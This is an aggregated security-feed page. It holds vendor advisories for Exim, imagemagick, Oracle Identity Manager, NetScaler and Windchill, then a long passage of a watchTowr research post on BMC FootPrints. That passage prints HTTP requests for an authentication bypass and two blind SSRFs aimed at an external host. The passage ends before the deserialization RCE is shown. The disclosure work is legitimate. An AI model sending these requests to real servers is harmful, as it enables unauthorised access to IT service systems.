Recent bundles

JSON

https://lists.exim.org/lurker/message/20260429.121733.f58d9686.en.html

Author: Bernard Quatermass via Exim-announce Date: 2026-04-29 14:17 +200 To: Exim Announcements CC: Bernard Quatermass Subject: [exim-announce] Exim 4.99.2 Released (security release) Dear Exim users and maintainers,

we are pleased to announce the availability of release 4.99.2 of Exim.

This is a security release.

It fixes the following vulnerabilities.

CVE-2026-40684 Possible crash with malicious DNS data when using musl libc

On systems using musl libc (not glibc) due to an oddity in octal printing it is possible to crash the connection instance when malformed DNS data is present in PTR records.

CVE-2026-40685 Possible OOB read/write on corrupt JSON in header

configurations using json operators on invalid externally-provided input could trigger heap corruption.

CVE-2026-40686 Possible OOB read with large UTF8 trailing characters

configurations using utf8 operators on malformed utf8 in headers could trigger OOB reads and might trigger some data leak if error messages are required for subsequent emails in the current connection and similar malformed headers are present.

CVE-2026-40687 Possible OOB read/write with SPA authenticator

in configurations using the SPA authentication driver to a hostile/compromised external SPA/NTLM connnection it is possible to trigger an OOB read/write and crash the connection instance or possibly leak heap data to the instance.

Older Exim versions may or may not be vulnerable but are not actively maintained.

We would like to thank the thousands of unnamed and uncredited authors whose works were ingested into the slopbots to "assist" in the reports for these vulnerabilities.

Exim 4.99.2 is available:

  • as tarball

    • https://ftp.exim.org/pub/exim/exim4/
    • https://code.exim.org/exim/exim/releases

  • directly from Git: https://code.exim.org/exim/exim tag: exim-4.99.2

The signatures on the release tarballs should be

  • key ID 0xBCE58C8CE41F32DF Email: jgh@???

-- Bernard Quatermass

Related vulnerabilities: CVE-2026-40685CVE-2026-40686CVE-2026-40687CVE-2026-40684

JSON

Debian Security Advisory DSA-6240-1 security@debian.org https://www.debian.org/security/ Moritz Muehlenhoff May 01, 2026 https://www.debian.org/security/faq

Package : imagemagick CVE ID : CVE-2026-32636 CVE-2026-33535 CVE-2026-33536 CVE-2026-33899 CVE-2026-33900 CVE-2026-33901 CVE-2026-33902 CVE-2026-33905 CVE-2026-33908 CVE-2026-34238 CVE-2026-40169 CVE-2026-40183 CVE-2026-40310 CVE-2026-40311 CVE-2026-40312

Multiple security vulnerabilities were discovered in imagemagick, a software suite used for editing and manipulating digital images, which could lead to denial of service, information disclosure or potentially arbitrary code execution if malformed images are processed.

For the stable distribution (trixie), these problems have been fixed in version 8:7.1.1.43+dfsg1-1+deb13u8.

We recommend that you upgrade your imagemagick packages.

For the detailed security status of imagemagick please refer to its security tracker page at: https://security-tracker.debian.org/tracker/imagemagick

Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/

Related vulnerabilities: CVE-2026-34238CVE-2026-33905CVE-2026-32636CVE-2026-40310CVE-2026-40312CVE-2026-33902CVE-2026-33901CVE-2026-40183CVE-2026-33535CVE-2026-33908CVE-2026-33899CVE-2026-33900CVE-2026-40169CVE-2026-40311CVE-2026-33536

JSON

Oracle Security Alert Advisory - CVE-2026-21992

Description

This Security Alert addresses vulnerability CVE-2026-21992 in Oracle Identity Manager and Oracle Web Services Manager. This vulnerability is remotely exploitable without authentication. If successfully exploited, this vulnerability may result in remote code execution.

Oracle strongly recommends that customers apply the updates or mitigations provided by this Security Alert as soon as possible. Oracle always recommends that customers remain on actively-supported versions and apply all Security Alerts and Critical Patch Update security patches without delay.

Affected Products and Patch Information

The security vulnerability addressed by this Security Alert affects the products listed below.

Please click on the links in the Patch Availability Document column below to access the documentation for patch availability information and installation instructions.

Security Alert Supported Products and Versions

Patches released through the Security Alert program are provided only for product versions that are covered under the Premier Support or Extended Support phases of the Lifetime Support Policy. Oracle recommends that customers plan product upgrades to ensure that patches released through the Security Alert program are available for the versions they are currently running.

Product releases that are not under Premier Support or Extended Support are not tested for the presence of vulnerabilities addressed by this Security Alert. However, it is likely that earlier versions of affected releases are also affected by these vulnerabilities. As a result, Oracle recommends that customers upgrade to supported versions.

Fusion Middleware products are patched in accordance with the Software Error Correction Support Policy explained in My Oracle Support Note KB65129. Please review the Technical Support Policies for further guidelines regarding support policies and phases of support.

References

Risk Matrix Content

Risk matrices list only security vulnerabilities that are newly addressed by the patches associated with this advisory. Risk matrices for previous security patches can be found in previous Critical Patch Update advisories and Alerts. An English text version of the risk matrices provided in this document is here.

Security vulnerabilities are scored using CVSS version 3.1 (see Oracle CVSS Scoring for an explanation of how Oracle applies CVSS version 3.1).

Oracle conducts an analysis of each security vulnerability addressed by a Security Alert. Oracle does not disclose detailed information about this security analysis to customers, but the resulting Risk Matrix and associated documentation provide information about conditions required to exploit the vulnerability and the potential impact of a successful exploit. Oracle provides this information so that customers may conduct their own risk analysis based on the particulars of their product usage. For more information, see Oracle vulnerability disclosure policies.

The protocol in the risk matrix implies that all of its secure variants are affected as well. For example, if HTTP is listed as an affected protocol, it implies that HTTPS is also affected. The secure variant of a protocol is listed in the risk matrix only if it is the only variant affected.

Modification History

Date Note
2026-March-20 Rev 2. Added note.
2026-March-19 Rev 1. Initial Release.

Oracle Fusion Middleware Risk Matrix

This Security Alert contains 2 new security patches for Oracle Fusion Middleware.  Both of these vulnerabilities may be remotely exploitable without authentication, i.e., may be exploited over a network without requiring user credentials.  The English text form of this Risk Matrix can be found here.

  • CVE ID: BaseScore
  • Product: AttackVector
  • Component: AttackComplex
  • Protocol: PrivsReq'd
  • RemoteExploitwithoutAuth.?: UserInteract
  • CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): Scope
  • Supported Versions Affected: Confid-entiality
  • Notes: Inte-grity
  • Avail-ability
  • CVE ID: CVE-2026-21992
  • Product: Oracle Identity Manager
  • Component: REST WebServices
  • Protocol: HTTP
  • RemoteExploitwithoutAuth.?: Yes
  • CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
  • Supported Versions Affected: Network
  • Notes: Low
  • None
  • None
  • Un-changed
  • High
  • High
  • High
  • 12.2.1.4.0, 14.1.2.1.0
  • CVE ID: CVE-2026-21992
  • Product: Oracle Web Services Manager
  • Component: Web Services Security
  • Protocol: HTTP
  • RemoteExploitwithoutAuth.?: Yes
  • CVSS VERSION 3.1 RISK (see Risk Matrix Definitions): 9.8
  • Supported Versions Affected: Network
  • Notes: Low
  • None
  • None
  • Un-changed
  • High
  • High
  • High
  • 12.2.1.4.0, 14.1.2.1.0
  • See Note 1

Notes:

  1. Oracle Web Services Manager is installed with an Oracle Fusion Middleware Infrastructure.

Related vulnerabilities: CVE-2026-21992

JSON

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-3055 and CVE-2026-4368

Article ID: CTX696300

Description

NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities mentioned below:

  • CVE-ID: CVE-2026-3055
  • Description: Insufficient input validation leading to memory overread
  • Pre-conditions: Citrix ADC or Citrix Gateway must be configured as a SAML IDP
  • CWE: CWE-125: Out-of-bounds Read
  • CVSS v4.0: CVSS v4.0 Base Score: 9.3(CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L)
  • CVE-ID: CVE-2026-4368
  • Description: Race Condition leading to User Session Mixup
  • Pre-conditions: Appliance must be configured as:Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy)           OR AAA virtual server
  • CWE: CWE-362: Race Condition
  • CVSS v4.0: CVSS v4.0 Base Score: 7.7(CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)

What Customers Should Do

CVE 2026-3055 was identified internally through our ongoing security reviews and broader efforts to strengthen the security of the product. 

Cloud Software Group strongly urges affected customers of NetScaler ADC and NetScaler Gateway to install the relevant updated versions as soon as possible.

  • NetScaler ADC and NetScaler Gateway 14.1-66.59 and later releases
  • NetScaler ADC and NetScaler Gateway 13.1-62.23 and later releases of 13.1
  • NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1.37.262 and later releases of 13.1-FIPS and 13.1-NDcPP

Note: Customers are recommended to upgrade their appliances to one of the supported versions that address the vulnerabilities. 

CVE-2026-3055 : 

Customers can determine if they have an appliance configured as a SAML IDP Profile by inspecting their NetScaler Configuration for the specified string:

  • add authentication samlIdPProfile .*

CVE-2026-4368

Customers can determine if they have an appliance configured as one of the following by inspecting their NetScaler Configuration for the specified strings

  • An Auth Server (AAA Vserver):
    • add authentication vserver .*
  • A Gateway (VPN Vserver,  ICA Proxy, CVPN, RDP Proxy) :
    • add vpn vserver .*

Environment

The information on this page is being provided to you on an "AS IS" and "AS-AVAILABLE" basis. The issues described on this page may or may not impact your system(s). Cloud Software Group Holdings, Inc. and its subsidiaries (collectively, "Cloud SG") make no representations, warranties, or guarantees as to the information contained herein. ANY AND ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE ARE HEREBY DISCLAIMED. BY ACCESSING THIS PAGE, YOU ACKNOWLEDGE THAT CLOUD SG SHALL IN NO EVENT BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, PUNITIVE, OR CONSEQUENTIAL DAMAGES THAT ARISE OUT OF YOUR USE OR FAILURE TO USE THE INFORMATION CONTAINED HEREIN. Cloud SG reserves the right to change or update the information on this page at any time. We accordingly recommend that you always view the latest version of this page. The information contained herein is being provided to you under the terms of your applicable customer agreement with Cloud SG, and may be used only for the purposes contemplated by such agreement. If you do not have such an agreement with Cloud SG, this information is provided under the cloud.com Terms of Use, and may be used only for the purposes contemplated by such Terms of Use.

Issue/Introduction

Severity - Critical

Description of Problem

Vulnerabilities have been discovered in NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway). Refer below for further details.

Affected Versions:

The following supported versions of NetScaler ADC and NetScaler Gateway are affected by the vulnerabilities: 

CVE-2026-3055:

  • NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-66.59
  • NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-62.23
  • NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.262

CVE-2026-4368:

  • NetScaler ADC and NetScaler Gateway  14.1-66.54

Note: This bulletin only applies to customer-managed NetScaler ADC and NetScaler Gateway. Cloud Software Group upgrades Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

Additional Information

What Citrix is Doing

Citrix is notifying customers and channel partners about this potential security issue through the publication of this security bulletin on the Citrix Knowledge Center at https://support.citrix.com/support-home/topic-article-list?trendingCategory=20&trendingTopicName=Security%20Bulletin  

Obtaining Support on This Issue

If you require technical assistance with this issue, please contact Citrix Technical Support. Contact details for Citrix Technical Support are available at https://support.citrix.com/support-home/home 

Subscribe to Receive Alerts

Citrix strongly recommends that all customers subscribe to receive alerts when a Citrix security bulletin is created or modified at https://support.citrix.com/wolken-support/view/aboutsupport/my-support-alerts  

Reporting Security Vulnerabilities to Citrix

Citrix welcomes input regarding the security of its products and considers any and all potential vulnerabilities seriously. For details on our vulnerability response process and guidance on how to report security-related issues to Citrix, please see the following webpage: https://www.cloud.com/trust-center/support

Related vulnerabilities: CVE-2026-4368CVE-2026-3055

JSON

Zero-day allows code execution in WindChill and FlexPLM | heise online

  1. Zero-day allows code execution in WindChill and FlexPLM

The software Windchill and FlexPLM contains a security vulnerability that allows code execution. The manufacturer urgently calls for security measures to be taken – a patch is not yet available at the moment.

Information about the vulnerability is scarce; neither a CVE identifier nor warnings from national CERTs (Computer Emergency Response Team) are available. However, the manufacturer and its partners appear to be concerned: they are assigning the highest score of 10.0 points on the CVSS scale and urging customers to react immediately.

Apparently, the error is hidden in the deserialization of the servlets /servlet/WindchillGW/com.ptc.wvs.server.publish.Publish and /servlet/WindchillAuthGW/com.ptc.wvs.server.publish.Publish. If these are accessible to an attacker, for example, because the Windchill server is reachable from the internet, they can inject and execute code.

Many versions affected

According to the manufacturer PTC's extremely brief security notice in the Knowledge Base, the following versions are affected:

  • Windchill PDMLink 11.0 M030
  • Windchill PDMLink 11.1 M020
  • Windchill PDMLink 11.2.1.0
  • Windchill PDMLink 12.0.2.0
  • Windchill PDMLink 13.0.2.0
  • Windchill PDMLink 13.1.0.0
  • Windchill PDMLink 13.1.1.0
  • Windchill PDMLink 13.1.2.0
  • Windchill PDMLink 13.1.3.0
  • Windchill PDMLink 12.1.2.0
  • FlexPLM 11.0 M030
  • FlexPLM 11.1 M020
  • FlexPLM 11.2.1.0
  • FlexPLM 12.0.0.0
  • FlexPLM 12.0.2.0
  • FlexPLM 12.0.3.0
  • FlexPLM 12.1.2.0
  • FlexPLM 12.1.3.0
  • FlexPLM 13.0.2.0
  • FlexPLM 13.0.3.0

Workaround: Restrict access via Apache configuration

Until a patch is available, admins should use a workaround. As described by the Windchill service provider EAC in a communication to its customers, this requires a configuration change to the Apache web server. According to EAC, this should be done immediately to neutralize the risk of an exploit.

  1. Create a new configuration file <APACHE_HOME>/conf/conf.d/90-app-Windchill-Auth.conf. (If a file with the prefix 90- or higher already exists, the new file should receive the highest number to be loaded as the last file)
  2. Incorporate the following directives into it:
    <LocationMatch "^.*servlet/(WindchillGW|WindchillAuthGW)/com\.ptc\.wvs\.server\.publish\.Publish(?:;[^/]*)?/.*$">``Require all denied``</LocationMatch>
  3. Restart the web server using the known commands.

Apparently active attacks – admins should keep their eyes open

Although the manufacturer claims to have no knowledge of successful attacks, service provider EAC mentions some "Indicators of Compromise" (IOC). This means that attacks against Windchill or FlexPLM servers must have already occurred. The IOCs indicate that after a successful exploit, attackers upload files with malicious code to the server, typically web shells. Instances operated by PTC itself are already protected.

Insecure deserialization is a known entry point for exploits and is popular with cybercriminals and state-sponsored attackers. Just a few days ago, the US cybersecurity agency added another deserialization vulnerability in Microsoft SharePoint to its database of Known Exploited Vulnerabilities.

(cku)

Don't miss any news – follow us on Facebook, LinkedIn or Mastodon.

This article was originally published in German. It was translated with technical assistance and editorially reviewed before publication.

Related vulnerabilities: GCVE-1-2026-0021

JSON

The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)

SolarWinds. Ivanti. SysAid. ManageEngine. Giants of the KEV world, all of whom have ITSM side-projects.

ITSMs, as a group of solutions, have played pivotal roles in numerous ransomware gang campaigns - not only do they represent code running on a system, but they hold a significant amount of sensitive information. With the ability to track IT inventory, configuration files, and incident reports, threat actor campaigns have never been so organized.

BMC FootPrints last received a CVE in 2014. Today, we fix that. Digging into our archives, we're detailing vulnerabilities we discovered and chained in 2025 against (at the time fully patched) BMC FootPrints to achieve Pre-authenticated Remote Code Execution.

Welcome back to another monologue/watchTowr Labs blogpost.

The Horrors

What is BMC FootPrints?

BMC FootPrints is an IT Service Management (ITSM) solution designed to help IT teams manage service requests, incidents, assets, and changes through configurable workflows and an intuitive web interface.

Like most products in this category, it includes rollercoaster-esque excitement, such as:

  • Ticket management
  • Incident tracking
  • Workflow automation
  • Asset management
  • Reporting
  • And more

BMC FootPrints is one of two ITSM ‘product lines’ that BMC offers:

  • Helix, and
  • FootPrints

FootPrints has kept a fairly low profile, with minimal CVEs assigned to the product itself; the most recent was in 2014 (CVE-2025-24813 is for Tomcat, don't @ us). A tell?

If we take that "tell", and combine it with an end-user comment we found on HackForums;

> “BMC Footprints has been, for the most part, solid. We have been using it for a few years now, and have recently updated V11. We are currently in the process of upgrading to V12, and we are told that it is a total rewrite and should improve the experience as it no longer written in an outdated programming language with heavy reliance on JRE. We were disappointed to hear that there is no way to do a straight upgrade from V11 to V12."

Well, you can see where this is going.

What Did You Do Now, watchTowr?

To cut to the chase - in today's blog post, we’ll be walking through four (4) distinct vulnerabilities, our discovery process, and their eventual chaining.

  • CVE-2025-71257 / WT-2025-0069 - Authentication Bypass
  • CVE-2025-71258 / WT-2025-0070 - Server-Side Request Forgery
  • CVE-2025-71259 / WT-2025-0071 - Server-Side Request Forgery
  • CVE-2025-71260 / WT-2025-0072 - Deserialization of Untrusted Data (RCE)

The following branches/versions were identified to be affected:

  • BMC FootPrints 20.20.02 to 20.24.01.001

Disclosure and Remediation Historical Timeline Originally Written On Parchment It Was So Long Ago

We've moved the timeline here. Why? No reason.

  • Date: 6th June 2025
  • Detail: watchTowr discloses WT-2025-0069, WT-2025-0070, WT-2025-0071, WT-2025-0072 to BMC
  • Date: 6th June 2025
  • Detail: watchTowr hunts across client attack surfaces for exposure
  • Date: 9th June 2025
  • Detail: watchTowr provides the Aspectjweaver RCE gadget to BMC
  • Date: 12th June 2025
  • Detail: BMC acknowledge receipt of reports
  • Date: 16th June 2025
  • Detail: BMC confirms successful reproduction of all vulnerabilities except WT-2025-0072 (RCE) and requests more information
  • Date: 20th June 2025
  • Detail: watchTowr provides a point and click Python PoC to reproduce the Authentication Bypass (WT-2025-0069) and Remote Code Execution chain (WT-2025-0072)
  • Date: 20th June 2025
  • Detail: BMC report receiving the PoC and will report back
  • Date: 1st July 2025
  • Detail: watchTowr asks for update on the RCE reproduction
  • Date: 3rd July 2025
  • Detail: BMC report issues in reproducing the RCE and ask for more clarification on watchTowr environment
  • Date: 3rd July 2025
  • Detail: watchTowr provides screenshot evidence of the exploit chain
  • Date: 4th July 2025
  • Detail: BMC request hash of the web.xml in the watchTowr environment
  • Date: 5th July 2025
  • Detail: watchTowr provides hash of various files including the installer of the FootPrints environment
  • Date: 18th July 2025
  • Detail: watchTowr requests an update
  • Date: 1st August 2025
  • Detail: watchTowr requests an update
  • Date: 29th August 2025
  • Detail: BMC acknowledges issues with emails and will report back soon
  • Date: 2nd September 2025
  • Detail: BMC report back that they were able to reproduce the RCE and all four issues have been fixed! Hot Fixes Released: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
  • Date: 2nd March 2026
  • Detail: CVEs assigned: • CVE-2025-71257 / WT-2025-0069 : Authentication Bypass • CVE-2025-71258 / WT-2025-0070 : Server-Side Request Forgery • CVE-2025-71259 / WT-2025-0071 : Server-Side Request Forgery • CVE-2025-71260 / WT-2025-0072 : Deserialization of Untrusted Data (RCE)
  • Date: 18th March 2026
  • Detail: watchTowr remembers this post exists, cries, and publishes research

Sigh.

Back To The Story

As always with any research, we set ourselves creative, unique, and clear goals - and withheld food until they were achieved.

  • Can we achieve Remote Code Execution?
    • Can we achieve Remote Code Execution?
      • Can we achieve Remote Code Execution?
        • Can we achieve Remote Code Execution?
          • Can we achieve Remote Code Execution without authentication?

Diving In

With BMC FootPrints easily installed on a Windows Server, we’re off to the races.

Upon first installation, a browser is launched to the main application entry point located at http://127.0.0.1:8080/footprints/servicedesk .

Whilst the supporting Apache Tomcat server is installed in its own directory - C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0 - the expanded war file containing the application source code was found in C:\\Program Files\\BMC Software\\FootPrints\\web.

As we’ve covered in previous research, Tomcat applications tend to follow a familiar structure during reverse engineering. A web.xml file defines servlet routes, jsp files execute as server-side scripts, and jar and class files contain the compiled Java source code behind the application.

To avoid friction later in the process, we extracted all files upfront, making decompilation and remote debugging significantly easier.

Authentication Bypass - CVE-2025-71257/WT-2025-0069

When attempting to directly access the jsp files in the web root, we quickly discovered a filter in place that redirected all requests to the login page.

The following is an example of an unauthenticated request, which is caught by the ‘filter’ and redirects us:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}


HTTP/1.1 302 
Cache-Control: private
Set-Cookie: JSESSIONID=9CAD4CA3D09E640B4AE3DCDCE2116B47; Path=/footprints/servicedesk; HttpOnly
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Location: http://{{Hostname}}:8080/footprints/servicedesk/login.html
Content-Length: 0
Date: Tue, 17 Jun 2025 08:36:00 GMT

It behaved like a whitelist filter, suggesting the logic was declared elsewhere using a regex-style pattern. Our goal became identifying which endpoints could still be reached pre-authentication while satisfying that filter logic.

This was quickly traced to deployment/non-version-specific/conf/footprints-application-beans.xml.

There, we can see a filter configured to intercept all request URIs via /**:


    <security:intercept-url pattern="/**"
      access="isAuthenticated()" requires-channel="any" />

The file contains a total of 58 filters - a non-trivial amount to work through, especially given that several are wildcarded and expose an even broader attack surface.

From a post-authentication perspective, the attack surface is substantial. At this stage, however, we’re constrained by the initial isAuthenticated() filter - meaning even servlets explicitly declared in web.xml remain unreachable to unauthenticated users.

In general, the filters look like this:


  <security:http pattern="/survey/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository">   

    <security:headers>
         <security:frame-options disabled="true"></security:frame-options>
    </security:headers>


    <security:intercept-url pattern="/survey/**"
      access="isAuthenticated()" requires-channel="any" />


    <security:session-management session-fixation-protection="none"/>

    <security:csrf disabled="true"/>


    <security:custom-filter before="ANONYMOUS_FILTER" ref="surveyAuthenticationFilter"/>
    <security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" />
    <security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" />
    <security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" />
  </security:http>


  <security:http pattern="/portal/set/**" auto-config="false" use-expressions="true" disable-url-rewriting="false" <--- [0]
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository">   

    <security:headers>
         <security:frame-options disabled="true"></security:frame-options>
    </security:headers>


    <security:intercept-url pattern="/portal/set/**"
      access="isAuthenticated()" requires-channel="any" />

Given the above, looking at [0], we can see that requests matching the pattern /portal/set/** pass through the securityContextRepository filter - potentially allowing pre-authenticated access.

Given the limited reachable surface, we decided to work through each filter and endpoint one by one, just in case something had been exposed unintentionally.

Due diligence, and all that.

> It really can’t be overstated - when researching products with large codebases and complex security filter chains, it’s very easy to get lost in the weeds. And we regularly do. Sometimes you just need to trial-and-error the endpoints against a live instance. As such, we systematically attempted to request each endpoint and filter pattern to observe any differentials that might inspire a deeper investigation.

While the majority of the attack surface remained unreachable without authentication or satisfying the isAuthenticated() filter, this systematic approach did lead us to one particular filter - and its matching endpoint - that stood out immediately.

security:http pattern="/passwordreset/request/**" auto-config="false" use-expressions="true" disable-url-rewriting="false"
    entry-point-ref="defaultAuthenticationEntryPoint" security-context-repository-ref="securityContextRepository">

It stood out because, when the pattern was satisfied, the server returned a security token cookie (SEC_TOKEN) in the response headers.

GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}


HTTP/1.1 404 
Cache-Control: private
SET-COOKIE: SEC_TOKEN=wGCyXHdPS-slXYwxD5&rtjHQ1&Y1xBimP0dEJ-TjOCNMJV-ULL; Domain={{Hostname}}; Path=/footprints/servicedesk/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:37:58 GMT

<html lang="en"><head><title>HTTP Status 404 – Not Found</title>

It’s important to stress that no other endpoint or filter returned this SEC_TOKEN, which immediately raised a few questions for us - what exactly was this token used for, and how was it being set?

Following the code path, we were able to trace an additional filter in the call chain:

com/numarasoftware/footprints/application/web/filter/GenericGuestAuthenticationFilter.class

 public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        boolean applyAnonymousForThisRequest = false;
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)res;
        if (request.getAttribute("__system_guest_filter_applied") != null) {
            chain.doFilter(request, response);
        } else {
            request.setAttribute("__system_guest_filter_applied", Boolean.TRUE);

            try {
                applyAnonymousForThisRequest = this.applyGuestForThisRequest(request, response); <--- [0]
            } catch (AuthenticationException var8) {
                AuthenticationException ex = var8;
                this._failureHandler.onAuthenticationFailure(request, response, ex);
                return;
            }

            if (!this.isAlreadyLoggedIn()) {
                if (!this.hasLoginRequired(request) && applyAnonymousForThisRequest) { <--- [1]
                    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
                    if (!SystemSessionContext.hasValidSession()) {
                        this.createGuestAuthentication(request, response, authentication); <--- [2]
                        LOG.debug("Populated SecurityContextHolder with anonymous token: '" + SecurityContextHolder.getContext().getAuthentication() + "'", new Object[0]);
                    } else {
                        LOG.debug("SecurityContextHolder not populated with anonymous token because it already contained: '" + authentication + "'", new Object[0]);
                    }
                } else if (SystemSessionContext.hasValidSession()) {
                    SystemSessionInfo sessionInfo = SystemSessionContext.getSessionInfo();
                    if (sessionInfo.isGuestUserSession()) {
                        this._sessionStrategy.onInvalidAuthentication();
                    }
                }
            }

            chain.doFilter(req, res);
        }
    }

Looking at the above, [0] shows the point where the code checks for applyAnonymousForThisRequest and applyGuestForThisRequest.

There are five implementations of this logic:

This makes sense. Looking back at the patterns and filters defined in the earlier configuration file, we can see that passwordResetRequestAuthenticationFilter is one of the filters explicitly configured:


    <security:intercept-url pattern="/passwordreset/request/**"
      access="isAuthenticated()" requires-channel="any" />


    <security:session-management session-fixation-protection="none"/>

    <security:csrf disabled="true"/>


    <security:custom-filter before="ANONYMOUS_FILTER" ref="passwordResetRequestAuthenticationFilter"/>]
    <security:custom-filter before="SECURITY_CONTEXT_FILTER" ref="systemSecurityContextPersistenceFilter" />
    <security:custom-filter after="SESSION_MANAGEMENT_FILTER" ref="customSystemSessionManagementFilter" />
    <security:custom-filter position="LOGOUT_FILTER" ref="logoutFilter" />
  </security:http>

Following this code block, we can see the boolean being evaluated at [1], before execution flows into createGuestAuthentication at [2].

From there, several additional checks are performed across multiple classes, eventually leading to the cookie being set. Which naturally led to the most important question - what, exactly, does this token allow us to do?

Our first litmus test was simple: determine whether this SEC_TOKEN granted any form of authentication or session state. In other words, could it satisfy the original isAuthenticated() check from the catch-all filter, and in doing so allow us to bypass an authentication boundary?

Only one way to find out:

GET /footprints/servicedesk/watchTowr HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=kziK9aCBHIyTtYDt3SNPpN_or+AUyF9GamRWPowwMWKXMF7Rqr


HTTP/1.1 404 
Cache-Control: private
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 683
Date: Tue, 17 Jun 2025 08:47:42 GMT

&lt;html lang="en"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 – Not Found&lt;/title&gt;&lt;style type="text/css"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;<h1>HTTP Status 404 – Not Found</h1><hr><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr><h3>Apache Tomcat/9.0.106</h3>&lt;/body&gt;&lt;/html&gt;

At this point, some of you are probably wondering what the significance of the above is. It’s just a 404, right? A standard not-found response. Easy to dismiss, move on, test the next endpoint, nothing to see here.

Not quite - this is enterprise software, it’s different!

It’s behavioral proof that we’ve successfully stepped into a privileged session and bypassed the catch-all filter that would otherwise have redirected us to the login page.

Fox In The Hen House, Fox In The Hen House!

Let’s take stock of where we are.

During the initial recon phase, the application’s exposed attack surface is heavily constrained by the security filter patterns. Pre-authentication, the number of reachable endpoints and APIs is drastically limited.

With this new SEC_TOKEN in hand - and the redirect filter effectively bypassed - the reachable surface expands dramatically. What was a tightly restricted set of endpoints now opens up into a much broader range of application functionality.

It’s time to enumerate.

Using the SEC_TOKEN, we work back through the API systematically and quickly find several straightforward wins - including a handful of medium-impact issues that we won’t dive into the root cause analysis for here.

Blind SSRF - CVE-2025-71258/WT-2025-0070

GET /footprints/servicedesk/import/searchWeb?url=https://{{external-host}}&amp;dataEncoding=x HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Blind SSRF - CVE-2025-71259/WT-2025-0071

GET /footprints/servicedesk/externalfeed/RSS?feedUrl=https://{{external-host}} HTTP/1.1
Host: {{Hostname}}
Cookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;

Unfortunately, though, while ‘vulnerabilities’, we haven’t met our original research goal - and thus we are not allowed to eat.

The reality is that blind SSRF vulnerabilities barely scratch the surface when it comes to satisfying vulnerabilities - we’re still craving mayhem.

Remote Code Execution WT-2025-0072 - CVE-2025-71260

Having blasted through the API without achieving our goal, we turned our attention back to the broader application architecture.

The application runs on Tomcat, and as expected, there is a web.xml containing servlet definitions - and with them, additional potential routes.

More specifically, in C:\\Program Files\\BMC Software\\FootPrints\\web\\WEB-INF\\web.xml, we can see a number of URL patterns mapped to servlets of interest.

For example:

    &lt;servlet-mapping&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;url-pattern&gt;/aspnetconfig&lt;/url-pattern&gt;
    &lt;/servlet-mapping&gt;

The URI /aspnetconfig maps to the VmwDynamicServlet servlet, which in turn maps to the class GhDynamicHttpServlet:

    &lt;servlet&gt;
        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;
        &lt;servlet-class&gt;GhDynamicHttpServlet&lt;/servlet-class&gt;
    &lt;/servlet&gt;

Before diving into the darker depths of the code, as mentioned earlier, it’s important to play with your food before deconstructing it.

We decided to issue a request to our live instance first just to see what the endpoint actually looked like in practice.

Sometimes, you need to taste with your eyes:

